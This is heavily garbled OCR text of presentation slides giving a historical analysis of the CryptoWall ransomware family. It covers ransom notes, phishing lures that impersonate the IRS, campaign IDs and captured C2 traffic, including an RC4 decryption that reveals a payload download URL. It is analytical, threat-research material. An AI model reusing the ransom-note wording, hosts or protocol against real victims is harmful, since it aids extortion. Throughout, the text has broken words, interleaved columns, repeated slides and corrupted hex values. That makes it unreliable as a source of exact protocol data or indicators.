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Overview
What I'll be going througn in this presentation

1. Introduction: Who am | and what do | do 3. Infrastructure setup
2. The history of CryptoWall: 4. Interesting Discoveries
2.1. First start: Cloning the CryptolLocker look
2.2. CryptoLocker clone no more, its CryptoDefense! 5. Tools
2.3. CryptoDetense gone, say hello to CryptoWall <= 1.0
2.4. CryptoWall 2.0 6. A thank you to some friends

2.5. CryptoWall 3.0
2.6. CryptoWall - the current version
2.7. CryptoWall: A word of caution
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current events and work on new upcoming threats.
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 Malware analysis (reverse engineering)
* Network Forensics Bblog.OxBa.com
* Programming

Besides $DAY]OB | like to ‘play around’ with security related things. This varies from
malware analysis to random programming projects ending in POC status 99% of the time.

| occasionally write about my findings on my blog.
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Cryptolocker 2.0

Your personal files are encrypted

Your files will be lost
without payment on:

: » Cryplol ocker X
| files are encrypted!
Your important files were encrypted on this computer: photos, Y l ﬂ' d!
videos, documents |, etc. You can verify this by click on see files Ou l’ pe rSO l\a QS a l‘e e ﬂCl‘ypte
and try to open them. : on 18 compuyier pholos. Atsas . decymenls
_ _ ) _ {od S, g you Can persanaly wardy 1hes o\
Encryption vwas produced using unique public key RSA-4096 - Vour Imcetant fiss encryption produced on ths comouter : photos, waaos
generated for this computer. To decrypt files, you need to obtain — =

private key.

The single copy of the private key, which will allovy you to decryg
the files, is located on a secret server on the Internet; the serve
will destroy the key within 72 hours after encryption
comlplete(l. After that, nobody and never will be able to restore
files.

ant

you can personally verify this

Your important files encryption produced on thes computer: photos

Your personal files are encrypted!

wdeo, documents, etc. HERE s a complete list of encrypted files, and

yhot

To retrieve the private key, you need to pay 0.5 bitcoins.

Encryption was produced using a unigque public RSA-2048 generated
for this computer. To decrypt Sles you need to obtan the private key

CryptolLocker

Your Personal files are encrypted!

Your personal files encryption produced on this computer: photos, videos,
documents, etc. Encryption was produced using a unique public key RSA-2048

generated for this computer.

To decrypt files you need to obtain the private key.

11/24/2013 3:16:34 PM text, thenj

Click proceed to payment to obtain private key. The single copy of the prwvate key wich will allow you to decrypt the
files s on a secret server on the nternet; the server will destroy the key
after a ime specified in this window. ARer that, nobody and never will

be able to restore fles

The single copy of the private key, which will allow to decrypt the files, located
on a secret server on the Internet; the server will destroy the key after a time
specified in this window. After that, nobody and never will be able to restore
files...

Any attempt to remove or damage this software will lead
to immediate private key destruction by server.

To obtain the private key for this computer, which will automatically
dacrypt fles, you need to pay 300 USD / 300 EUR simdar amount
n another currency

vate key will be
destroyed on

Privale key will be destroyed on
2M2014 1221541 AM

To obtain the private key for this computer, which will automatically decrypt

ou
y files, you need to pay 1.00 bitcoin (~291 USD).

Proceed to payment > or f‘

pmt

']d 54./6/2015 1:11:47 P

Clhick Next>> to select the method of payment and the currency

Tame e ft

4 d.23: 5915 You can easily delete this software, but know that without it, you will never

be able to get your original files back.

Any attempt to remove or damage this software will lead
to immediate destruction of the private key by server,

: . :
' w < Oad m I' Disable your antivirus to prevent the removal of this software.
01/03 20U Time left
222437 For more information on how to buy and send bitcoins, click "Pay with Bitcoin™
Next>> 71:52:21 To open a list of encoded files, click "Show files”
fime le?

A . . A . . S S " Wy \ ) . Do not delete this list, it will be used for decryption. And do not move your files.
FHIVAITIGAIC UCOUULGLIVIT UINIC VI yUUl plHIvale l\c:y.

95:59:42

Checking wallet..

Received: 0.00 BTC

Pay with Bitcoin \

Source: Dell Secureworks : : Source: Del

.....................................................................
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Encryption

* Locally generated RSA key pair using (wincrypt) CryptoAPI

* Encrypted files are a bit bigger due to added header ‘!Crypted!<hash>
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Unique system identifier

They need to identify unique systems, this method is seen in every
CryptoWall version.

It takes the MD5 of a concatenated string containing the following
information from the victim’s machine:

* computer name

* volume serial number

* processor information

* operating system version

a The Story of CryptoWall: a historical analysis of a large scale cryptographic ransomware threat 2. The history of CryptoWall:
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Communication protocol

HTTP based, follows a few steps to talk to the C2:

|. Report in with a campaign ID and a unique system |ID
2. C2 responds with an OK to acknowledge the client
3. Client sends another request with the campaign ID and its unique

system |D
4. C2 responds with a location to a compressed blob for the GUI and

ransom notes
5. Client responds back to ACK it has gotten everything and is done

The Story of CryptoWall: a historical analysis of a large scale cryptographic ransomware threat 2. The history of CryptoWall: @
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Communication protocol: Detalils

POST /rnco9rvxog5cqgp HTTP/1.1

Accept: */*

ontent-Type: application/x-www-form-urlencoded

onnection: Close

ser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
ost: specpsa.com

ontent-Length: 88

ache-Control: no-cache

x=af83e23a3c2dad708659218d33fbc2dcff9cl2e5b1f31bal67587ef904fad8aleS5608fel2ffc@8f27fda2d2HTTP/1.1 200 OK
Server: nginx/1.5.6

Date: Fri, 08 Nov 2013 18:07:59 GMT

ontent-Type: text/html; charset=utf-8
ontent-Length: 138

onnection: close

X-Powered-By: PHP/5.4.4-14+deb7u4

Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Thu, 01 Jan 1970 02:46:40 GMT
ache-Control: no-store, no-cache, must-revalidate
ache-Control: post-check=0, pre-check=0

Pragma: no-cache

ary: Accept-Encoding

af82a865327bb26b9151638125989defb3db4eb@9dal95ee63d1b2@be58bff194d439a8beaSedcb4faa8cc22ad93005cc34c281c8fff@3d9e3fda9b405147d00fb@76d6f72b
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Communication protocol: Detalils

scrambled_key = "rnco9rvxeg5cgp"

POST(/rnco9rvxog5cqgp JHTTP/1.1

Accept:

ontent-Type: application/x-www-form-urlencoded
onnection: Close T
ser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT .Join(sorted(scrambled_key))
ost: specpsa.com '569ccgnopgrrvx’
ontent-Length: 88

ache-Control: no-cache

sorted(scrambled_key)
['51, 161, '91, 'C', 'C', lgl, 'nl,

x=af83e23a3c2dad708659218d33fbc2dcff9cl12e5b1f31bal67587ef904fad8aPeS5608fel2ffc@8f27fda2dZ2HTTP/1.1 200 OK
Server: nginx/1.5.6
Date: Fri, 08 Nov 2013 18:07:59 GMT

ontent-Type: text/html; charset=utf-8
ontent-Length: 138

onnection: close

X-Powered-By: PHP/5.4.4-14+deb7u4

Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Thu, 01 Jan 1970 02:46:40 GMT
ache-Control: no-store, no-cache, must-revalidate
ache-Control: post-check=0, pre-check=0

Pragma: no-cache

ary: Accept-Encoding

af82a865327bb26b9151638125989defb3db4eb@9dal95ee63d1b2@be58bff194d439a8beaSedcb4faa8cc22ad93005cc34c281c8fff@3d9e3fda9b405147d00fb@76d6f72b
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Communication protocol: Detalils

scrambled_key = "rnco9rvxeg5cgp"

POST(/rnco9rvxog5cqgp JHTTP/1.1

Accept: -
ontent-Type: application/x-www-form-urlencoded L5,
onnection: Close e
ser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT .Join(sorted(scrambled_key))
ost: specpsa.com '569ccgnopgrrvx’
ontent-Length: 88

ache-Control: no-cache

sorted(scrambled_key)
161, '91, 'C', 'C', lgl, 'nl, 'O', lp', lql, 'rl', 'I’", 'V', 'X']

erver: nginx/1.5.6

Date: Fri, 08 Nov 2013 18:07:59 GMT unscrambled_key = '569ccgnopgrrvx’
ontent-Type: text/html; charset=utf-8

ontent-Length: 138 data =

onnection: close "af83e23a3¢c2dad708659218d33fbc2dctfI9c12e5b1f31ba@67587ef904fad8ade5608felffcO8f
X-Powered-By: PHP/5.4.4-14+deb7u4 27fda2d2" .decode( "hex")

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Thu, @1 Jan 1970 02:46:40 GMT rc4(data, unscrambled_key)

ache-Control: no-store, no-cache, must-revalidate ' {21 orgasm| 269A8A9736C463671596CACOCSIB7F4A} '
ache-Control: post-check=0, pre-check=0

Pragma: no-cache

ary: Accept-Encoding

af82a865327bb26b9151638125989defb3db4eb@9da95ee63d1b2@be58bff194d439a8beaSedcb4faa8cc22ad93005cc34c281c8fff@3d9e3fda9b405147d00fb@76dof72b
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Communication protocol: Detalils

scrambled_key = "rnco9rvxeg5cgp"

POST(/rnco9rvxog5cqgp JHTTP/1.1

Accept: g
ontent-Type: application/x-www-form-urlencoded L5,
onnection: Close

ser-Agent: Mozilla/4.@ (compatible; MSIE 6.0; Windows NT ' .join(sorted(scrambled_key))
ost: specpsa.com 569ccgnopqgrrvx

ontent-Length: 88
ache-Control: no-cache

sorted(scrambled_key)
161, '91, 'C', 'C', lgl, 'nl, 'O', lp', lql, 'rl', 'I’", 'V', 'X']

erver: nginx/1.5.6

Date: Fri, 08 Nov 2013 18:07:59 GMT unscrambled_key = '569ccgnopgrrvx’
ontent-Type: text/html; charset=utf-8

ontent-Length: 138 data =

onnection: close "af83e23a3¢c2dad708659218d33fbc2dctfI9c12e5b1f31ba@67587ef904fad8ade5608felffcO8f
X-Powered-By: PHP/5.4.4-14+deb7u4 27fda2d2" .decode( "hex")

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Thu, @1 Jan 1970 02:46:40 GMT rc4(data, unscrambled_key)

ache-Control: no-store, no-cache, must-revalidate ' {21 orgasm| 269A8A9736C463671596CACOCSIB7F4A} '
ache-Control: post-check=0, pre-check=0

Pragma: no-cache

ary: Accept-Encoding

af82a865327bb26b9151638125989defb3db4eb@9da95eeb3d1b2@be58bf f194d439a8beaSedcb4faa8cc22ad93005cc34c281c8f ff@3d9e3fda9b405147dA0fbd76dof72b

rc4(data, unscrambled_key)
'{360|1~http://grupoconsultoresjuridicos.com/wp-content/themes/us.bin}"’
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Communication protocol: Detalils

scrambled_key = "rnco9rvxeg5cgp"

POST (/rnco9rvxog5cqgp JHTTP/1.1

Accept: g
ontent-Type: application/x-www-form-urlencoded L5,

onnection: Close

ser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT ' .join(sorted(scrambled_key))
ost: specpsa.com 569ccgnopqgrrvx

DOST /rnco9rvx6g5cap HTTP/1.1 . Join(sorted(scrambled_key))
A\ccept: */* '569ccgnopgrrvx’
ontent-Type: application/x-www-form-urlencoded b
onnection: Close

ser-Agent: Mozilla/4.0 (compatible; MSIE 6.0 Jlse®®WS NI 5.1; SV1)
ost: specpsa.com

ontent-Length: 88

ache-Control ;&

sorted(scrambled_key)
161, '91, 'C', 'C', lgl, 'nl, 'O', lpl, lql, 'rl', 'I’", 'V', 'X']

=

x=0T183e23a3¢c2dad708659218d33fbc2dcff9cl2e5bl1f31balo/587ef904fad8ae5608fel2ffc@8f27fdalzd2

0f82a865327bb26b9151638125989defb3db4eb@9da95ee63d1b20beS58bf f194d439a8beaSedcb4faa8cc22ad93005cc34c281c8fff@3d9e3fda9b495147d00@fbd76dof72b

rc4(data, unscrambled_key)
'{360|1~http://grupoconsultoresjuridicos.com/wp-content/themes/us.bin}"’
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Communication protocol: Detalils

Request: {<Command ID> | <data> | <data>| ... }
Response differs based on the request command ID
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Communication protocol: Detalils

Request: {<Command ID> | <data> | <data>| ... }
Response differs based on the request command ID

{1|wolfgang | B834AFC69086975FED56B5B9BB7221A0(2|1]2[111.111.111.111}

|
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Communication protocol: Detalils

Request: {<Command ID> | <data> | <data>| ... }
Response differs based on the request command ID

{1|wolfgang | B834AFC69086975FED56B5B9BB7221A0(2|1]2[111.111.111.111}

Command ID: register client

|
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Communication protocol: Detalils

Request: {<Command ID> | <data> | <data>| ... }
Response differs based on the request command ID

{1|wolfgang | B834AFC69086975FED56B5B9BB7221A0(2|1]2[111.111.111.111}

Campaign ID

Command ID: register client

|
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Communication protocol: Detalils

Request: {<Command ID> | <data> | <data>| ... }
Response differs based on the request command ID

{1|wolfgang | B834AFC69086975FED56B5B9BB7221A0(2|1]2[111.111.111.111}

System |ID

Campaign ID

Command ID: register client

|
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Communication protocol: Detalils

Request: {<Command ID> | <data> | <data>| ... }
Response differs based on the request command ID

{1|wolfgang | B834AFC69086975FED56B5B9BB7221A0(2|1]2[111.111.111.111}
OS

Unknown: 0)
p)

Windows 2000:;

Windows XP:
Windows XP x64:

|
3

Windows Vista: 4
Campaign ID| (Windows 7: 5
6
.

System |ID

Windows 8:
Command ID: register client| [Windows 8.1:
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Communication protocol: Detalils

Request: {<Command ID> | <data> | <data>| ...} |Architecture

: 86: |
Response differs based on the request command ID 264: )

'

{1|wolfgang | B834AFC69086975FED56B5B9BB7221A0(2|1]2[111.111.111.111}
OS

Unknown: 0)
p)

Windows 2000:;

Windows XP:
Windows XP x64:

|
3

Windows Vista: 4
Campaign ID| (Windows 7: 5
6
.

System |ID

Windows 8:
Command ID: register client| [Windows 8.1:
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Communication protocol: Detalils

Request: {<Command ID> | <data> | <data>| ...} |Architecture

) x86: | Privileges
Response differs based on the request command ID w64 2 Elevated: |

l ¢—Non-elevated: 2
{1|wolfgang | B834AFC69086975FED56B5B9BB7221A0(2|1(2[111.111.111.111}

OS

Unknown: 0)
p)

Windows 2000:;

Windows XP:
Windows XP x64:

Windows Vista:

|
System |ID 3
. 4
Campaign ID| \wWindows 7 5
6

.

Windows 8:
Command ID: register client| [Windows 8.1:
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Communication protocol: Detalils

Request: {<Command ID> | <data> | <data>| ...} |Architecture

) x86: | Privileges
Response differs based on the request command ID w64 2 Elevated: |

l ¢—Non-elevated: 2
{1|wolfgang | B834AFC69086975FED56B5B9BB7221A0(2|1(2[111.111.111.111}

OS

Unknown: 0)
p)

Windows 2000:;

Windows XP:
Windows XP x64:

|
3

Windows Vista: 4
Campaign ID| (Windows 7: 5
6
.

System |ID

Victim remote |P

Windows 8:
Command ID: register client| [Windows 8.1:
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Infrastructure: CryptoWall 1.x, CryptoDefense and before

-%‘g;! N 5 N .

Proxy Server

Infected syst

‘
(privoxy) .
pPrivoxy . A
v
. .+ " "I
g 4
°, C2
‘ (hidden service)
n ) The Story of CryptoWall: a historical analysis of a large scale cryptographic ransomware threat 2. The hiStory of CryptoWaII:
2.1. First start: Cloning the CryptoLocker look



Payment options: a lot!

CryptoLocker

Your personal files are encrypted!

Choose a convenient payment method and click "MNext":
Litecoin (Discount -25%)

MoneyPak

B litecoin

Litecoin is a cryptocurrency where the creation and transfer of litecoins is based on an
open-source cryptographic protocol that is independent of any central authority.
Litecoins can be transferred through a computer or smartphone without an intermediate
financial institution.

You have to send 10.72 LTC to Litecoin address
LTv4m4y7NKHCXAdW3 TASEpTJmMPGKXTINnWDyY  Copy
and specify the Transaction ID on the next page, which will be verified and confirmed.

Hot
About Litecoin

Buy Litecoin in the btc-e.com

Price will he increased by 2 times : Litecoin in the mtaox.com

01/03/2014
22:24:37

Time left

935:54:535

Source: Dell SecurewoﬂlI 1
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Targeted file extensions list: 143

tl;dr A lot of standard filetypes average users would be interacting with

o y)

a The Story of CryptoWall: a historical analysis of a large scale cryptographic ransomware threat

The history of CryptoWall:
2.1. First start: Cloning the CryptoLocker look



2. The history of CryptoWall:
2.2. CryptoLocker clone no more, its CryptoDefense!
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Ransom notes

All files including videos, photos and documents on your computer are encrypted by CryptoDefense Software.

Encryption was produced using a unique public key RSA-2048 generated for this computer. To decrypt files you
need to obtain the private key.

The single copy of the private key, which will allow you to decrypt the files, located on a secret server on the Internet;
The server will destroy the key after a month. After that, nobody and never will be able to restore files.

« HOW_DECRYPT.HTML

In order to decrypt the files, open your personal page on the site https://ri2bocejar
and follow the instructions.

1. You must download and install this browser hitp://www torproject.ora/projects/torbrowser_.himl.en
2. After installation, run the browser and enter the address: rj2bocejargnpuhm.onion/31x0

3. Follow the instructions on the web-site. We remind you that the sooner you do, the more chances are left to
recover the files.

npuhm.browsetor.com/31x0

« HOW_DECRYPT.URL

IMPORTANT INFORMATION:

Your Personal PAGE:
https://ri2zbocejargnpuhm.browsetor.com/31x0
Your Personal PAGE(using TorBrowser):
rizbocejargnpuhm.onion/31x0

Your Personal CODE(if you open site directly): 31x0

A
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Campaign ID changes

defOO | def002 def003 def004

defO06 def007 defOO8 a[S{0[0)
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Communication protocol: slight changes

The same HT TP based protocol as before, just slight changes:

|. Report in with a campaign ID and a unique system |ID
2. C2 responds with an OK to acknowledge the client

5. Client sends the locally generated private key in a blob form post to the

C2
6. Server ACKs the key
/. Client reports successful encryption and the amount of files

9 The Story of CryptoWall: a historical analysis of a large scale cryptographic ransomware threat 2. The history of CryptoWall:
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Communication protocol: slight changes

POST /fjd7m@199e5 HTTP/1.1

Accept: */*

Content-Type: multipart/form-data; boundary=----------------—-—-----c-- 3071376310

Connection: Keep-Alive

Content-Length: 1546

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCCZ2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)

Host: niggaattack23.com

Cache-Control: no-cache

Cookie: __cfduid=d292f3c4ad9258bcf593618876ea5b@bal397439468892

3071376310

Content-Disposition: form-data; name="m

c1764542fadd668b382320061320ac29fd5f6adbf@b54b91bb2438405b53fc7d7d44c43312497c80a647a8019a
3071376310

Content-Disposition: form-data; name="n"; filename="3071376310"

Content-Type: application/octet-stream

: G..t...G.s...T...].[..9mi._..a*?.x; : MY...0.A[3...PT...
9.n...n...xh..KN..)..N .D.[.. .ut .17.M6.> ]
.L7PLtY. UL ... { S..oove>-..0

| - v - Ol W W wU''av il O1 i

A
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Broken Cryptography

application Key Directories and Files

‘ The Microsoft legacy CryptoAPI CSPs store private keys in the following directories.
Key storage API

.

Key storage router

‘ ; ‘ User private %APPDATA%\Microsoft\Crypto\RSA\ User SID\
&}} @ ® %APPDATA%\Microsoft\Crypto\DSS\ User SID\

Thirgtop?ar;s; key —— Local system private %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\S-1-5-18\

providers Smart card secunty module %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\S— 1-5-18\

Key type Directories

Key isolation process Local service private %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\S-1-5-19\
o leclation service %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\S-1-5-19\

‘ Network service %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\S-1-5-20\
Microsoft key storage provider private %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\S-1-5-20\

* ‘ ‘ Shared private %ALLUSERSPROFILE%\Application

Asyrnrnetric Secret . .
encryption Signature router agreement Data\M|crosoft\Crypto\RSA\MachlneKeys

"°‘1te" ‘ ‘ ‘ router * %ALLUSERSPROFILE%\Application
Data\Microsoft\Crypto\DSS\MachineKeys

EC
RSA DsSS DSA DH ECDH

0 . |
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Broken Cryptography

Application Key Directories and Files

'

Key storage API

.

I/ ave ctavrama wanibar I

_ | www.symantec.com/connect/blogs/cryptodefense-cryptolocker-imitator-makes-over-34000-one-month

The Microsoft legacy CryptoAPI CSPs store private keys in the following directories.

Key type Directories

As advertised by the malware authors in the ransom demand, the files were encrypted with an RSA-2048 key generated on the victim’s computer. This was
done using Microsoft’s own cryptographic infrastructure and Windows APIls to perform the key generation before sending it back in plain text to the

attacker’s server. However, using this method means that the decryption key the attackers are holding for ransom, actually still remains on the infected
computer after transmission to the attackers server.

Microsoft key storage provider private %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\S-1-5-20\

. . .

Asymmetric — Shared private %ALLUSERSPROFILE%\Application

encryption Signature router agreement

t ! Data\Microsoft\Crypto\RSA\MachineKeys
router router
‘ { ; ‘ ‘ %ALLUSERSPROFILE%\Application

cC Data\Microsoft\Crypto\DSS\MachineKeys

RSA DsSS DSA DH ECDH
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2. The history of CryptoWall:
2.3. CryptoDetense gone, say hello to CryptoWall <= 1.0

2011 2012 2013 2014 2015 2016 2017
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Campaign ID changes

cw800 cw |00 cw200 cw400 cw/00 cw900
cwl500 cwl600 cwl900 cw2200 cw2300 w2400

cw2500 w2700 w2800

tor003 tor2800 cw404
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Ransom notes updates

 DECRYPT _INSTRUCTION.HTML
 DECRYPT_INSTRUCTION.TXT

 DECRYPT_INSTRUCTION.URL

What happened to your files?
All of your files were protected by a strong encryption with RSA-2048 using CryptoWall.
More information about the encryption keys using RSA-2048 can be found here: hitp://en.wikipedia.org/wiki/RSA _(c

What does this mean?
This means that the structure and data within your files have been irrevocably changed, you will not be able to work
with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.

How did this happen?

Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.

All your files were encrypted with the public key, which has been transferred to your computer via the Internet.

Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.

What do | do?

Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be cha
If you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not e

For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page b

1.https://kpai7ycr7jxgkilp.torminater.com/gctz
2.https://kpai7ycr7jxqgkilp.torchek.com/gctz
3.https://kpai7ycr7jxgkilp.way2tor.com/qgctz

If for some reasons the addresses are not available, follow these steps:

1. Download and install tor-browser: http://www.torproject.ora/projects/torbrowser.html.en

A
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Encryption: RSA-2048

Files are encrypted using the RSA-2048 public key obtained from the C2
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Communication protocol: slightly updated (again)

The same HT TP based protocol as before, just slight changes:

|. Report in with a campaign ID and a unique system |D
2. C2 responds with an OK to acknowledge the client

5. Client asks the C2 for a public key

6. Server sends the public key, private key never leaves the C2
/. Client ACKs with a checksum

8. Server ACKs

9. Client reports successful encryption and the amount of files



Exempted countries

W

Russia

-
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Time for a new version

First spotted at the start of October 2014 via spam

From: IRS Complaint <complaint-copy@irs.gov>
Date: Wednesday, October 1, 2014 at 12:35 UTC

To:
Subject: Complaint

We received a complaint from you. is it true? (I sent copy of it in attachment)

& " Complaint_IRS_id-12839182.zip (262.7 KB)

From: IRS Complaint <complaint-copy@irs.gov>
Date: Wednesday, October 1, 2014 at 12:35 UTC

To:
Subject: Copy of the complaint

There are details of the complaint in attachment.

Complaint_IRS_id-12839182.zip (262.7 KB)

From: IRS Complaint <complaint-copy@irs.gov>
Date: Wednesday, October 1, 2014 at 13:28 UTC

To:
Subject: Complaint to the IRS

Hi, | am received a complaint. you wrote it? (See attachment)

Complaint_IRS_id-12839182.zip (262.7 KB)

From: IRS Complaint <complaint-copy@irs.gov>
Date: Wednesday, October 1, 2014 at 14:31 UTC

To:
Subject: Complaint to the IRS

We received a complaint from you. is it true? (I sent copy of it in attachment)

Complaint_IRS_id-12839182.zip (262.7 KB)

A
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Time for a new version

First spotted at the start of October 2014 via spam

From: IRS Complaint <complaint-copy@irs.gov> From: IRS Complaint <complaint-copy@irs.gov>

Date: Wednesday, October 1, 2014 at 12:35 UTC Date: Wednesday, October 1, 2014 at 13:28 UTC
To: To:

Quhiart: CAamnlaint CQuihiart: CFAamnlaint +a +tha IRC

What happened to your files?
All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 2.0.
More information about the encryption keys using RSA-2048 can be found here: htip://en wikipedia org/wiki/RSA_(cry

Subject: Copy of the complaint Subject: Complaint to the IRS

There are details of the complaint in attachment. We received a complaint from you. is it true? (I sent copy of it in attachment)

Complaint_IRS_id-12839182.zip (262.7 KB) Complaint_IRS_id-12839182.zip (262.7 KB)
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Infrastructure: CryptoWall 2.x (not always)

-%‘E;! | Ny .

Proxy Server

Infected syst

‘
(privoxy) .
P Y . AR
|
. +* " * HEEID)
4
° . 4
° C2
‘ (hidden service)
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Infrastructure: CryptoWall 2.x (not always)

Infected syste m/

(hidden service)
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Campaign IDs changed (affiliates)

cryptl crypt2  crypt3  cryptd  cryptd  cryptb
crypt/  crypt8  crypt9  cryptl0O cryptll cryptl2

cryptl3 cryptl4 etc.......
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Time off for development...

&  Kafeine

L afalmea
rareine

Exactly one month since last Cryptowall

binary. Can we say goodbye 7
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Time off for development...

&  Kafeine

Kateine

What happened to your files?

All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0
More information about the encryption keys using RSA-2048 can be found here: hitp:/en.wikipedia.org/wiki/RSA (cryptosystem)
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Ransom notes updated

What happened to your files?
All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 2.0.
More information about the encryption keys using RSA-2048 can be found here: http://en.wikipedia.org/wiki/RSA (cryptosystem)

What does this mean?
This means that the structure and data within your files have been irrevocably changed, you will not be able to work
with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.

How did this happen?

Especially for you, on our se
All your files were encrypted et.

Decrypting of your files is onl r secret server.

HELP _DECRYPT.HTML

HELP_DECRYPT.TXT

If you really value your data, because they do not exist.

For more specific instructio

private key will be changed.

pointing to your page below:

HELP_DECRYPT.URL

1.http://[7Tognsnzwwnm6zb

2.http://Tognsnzwwnm6zb

3.http://[7Tognsnzwwnm6zb

4. http://[Tognsnzwwnm6zb7y.suntorpaymoon.com/1jUseb1

If for some reasons the addresses are not available, follow these steps:

A
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Ig encryption with RSA-2048 using CryptoWall 3.0.
3ys using RSA-2048 can be found here: http://en.wikipedia.org/wiki/RSA _(cryptosystem)

fithin your files have been irrevocably changed, you will not be able to work
ie same thing as losing them forever, but with our help, you can restore them.

1erated the secret key pair RSA-2048 - public and private.
)lic key, which has been transferred to your computer via the Internet.
vith the help of the private key and decrypt program, which is on our secret server.

2asures for the specified time then the conditions for obtaining the private key will be changed.
jgest you do not waste valuable time searching for other solutions because they do not exist.

sit your personal home page, there are a few different addresses pointing to your page below:

yr.com/1jUseb1

‘4pay.com/1jUseb1

aytor.com/1jUseb1

aymoon.com/1jUseb1
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Communication protocol: slightly updated (again)

The same HT TP based protocol as before, just slight changes:

Report in with a campaign ID and a unique system |ID

C2 responds with an OK to acknowledge the client

Client asks the C2 for a public key

Server sends the public key, private key never leaves the C2
Client ACKs with a checksum

Server ACKs and responds with the PNG lock screen
Client reports successful encryption and the amount of files

NO U h WD —
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Networking change...

Proxy Server
(privoxy)
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Networking change...
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Infrastructure: CryptoWall 3.x (first versions)

Infected system

/ I . B 4 ! Al A N ‘
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) n\xv :V‘IZKI:\ =

825008888
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Infrastructure: CryptoWall 3.x (first versions)

\ C' | paytoc4gtpn5czl2.torforall.com/vRRRbw

Hactpoiiku [lomoms AapecHas KHHTa

IIpeavope:xaeHne: Caut I2P HegoCcTVIIEH

Canr I2P HEJOCTVIICH. Bo3MoxHO. OH OTKTIOUESH. CETh IICPESIPYVACHA HIH Balll MapIIpVTH3ATOP HEJOCTATOYMHO HHICTPHPOEAH C JPVIHMH V3JaMH. Brr moxeTe TIOETOPHTE OIICPAllHIO.

Hazaagenne TYHHe.IA

http://decrvpt-service 12p/decrypt_service ejakdanrmv8kadjak?adifdn/vRRRbw

——— -

D90909 99090909099 990999 DDDDD 99DDDDDD

I2P HTTP Proxy Server
Generated on: Tue Jan 13 22:00:03 GMT 2015

source: malware.dontneedcoffee.com
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Infrastructure: CryptoWall 3.X

Infected system

N

|
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Proxy Server
(hacked website)

(hidden service)
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Exempted countries: A new partner

»

Russia
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Exempted countries: A new partner
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Optimisation in file encryption: AES

* RSA-2048 key still obtained from the C2

* Still used, but not directly to encrypt the files
* AES-256 key is generated per file and used to encrypted the filedata

* RSA-2048 public key used to encrypt the AES-256 file key

* File is prepended with:
* MD?5 of obtained RSA-2048 public key
* AES-256 key encrypted with public key

)
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Targeted file extensions list extended

CryptoWall 3.0 targets 312 file extensions (where 2.0 only went for 146)

3dm 3ds 3fr 3g2 3gp 3pr /z ab4 accdb accede
accdr  accdt ach acr act adb ads  agd| ali ait

al apj arw  asf asm asp asxX  avi aWwW§g back
backup backupdb bak  bank bay bdb bgt  bik bkp blend
bpw C cdf cdr cdr3 cdr4 cdrS cdré cdrw cdx
cel ce cer cfp cgm cib class cls cmt Cpi
Cpp o) craw crt crw cs csh  csl csv dac
db db-journaldb3  dbf dc2 dcr dcs ddd ddoc ddrw
dds der des desigh  dgc djvu dng doc docm docx
dot dotm dotx drf drw dtd dwg dxb dxf dxg
eml eps erbsql erf exf fdb ffd  fff fh fhd
fla flac flv fpx fxg gray OreY..ccvvnnn...
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2. The history of CryptoWall:
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CryptoWall version “4” (to indicate / differentiate)

November 4th 2015
What happened to your files?

All of your files were protected by a strong encryption with RSA-2048 using CryptoWall
More information about the encryption keys using RSA-2048 can be found here: hitp:/en.wikipedia.org/wiki/RSA (cryptosystem)

What does this mean?

This means that the structure and data within your files have been irrevocably changed, you will not be able to work
with them, read them or see them, itis the same thing as losing them forever, but with our help, you can restore them.

How did this happen?

Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.
All your files were encrypted with the public key, which has been transferred to your computervia the Internet.
Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.

Whatdo ldo?

Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.
If you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.

For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:

. JwznSp2yiumhiak j.barklpaypartners.com/ |GG
. 3wznSp2yiumhak j.maverickpaypartners.com/ [N

)

a The Story of CryptoWall: a historical analysis of a large scale cryptographic ransomware threat 2. The hiStory of CryptoWaII:
2.6.  CryptoWall - the current version




Ransom notes updates

+ HELP YOUR FILES.HTML
« HELP YOUR FILES.TXT

. HELP YOUR FILES.URL

What happened to your files?
All of your files were protected by a strong encryption with RSA-2048 using CryptoWall

More information about the encryption keys using RSA-2048 can be found here: hitp:/en.wikipedia.org/wi

What does this mean?

This means that the structure and data within your files have been irrevocably changed, you will not be ab
with them, read them or see them, itis the same thing as losing them forever, but with our help, youcanr

How did this happen?

Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.

All your files were encrypted with the public key, which has been transferred to your computervia the Inter
Decrypting of your files is only possible with the help of the private key and decrypt program, which is on ¢

Whatdo 1 do?
Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining th
If you really value your data, then we suggest you do not waste valuable time searching for other solution:

For more specific instructions, please visit your personal home page, there are a few different addresse

. Jwznop2dyiumhiak j.paypartnerstodo.com _
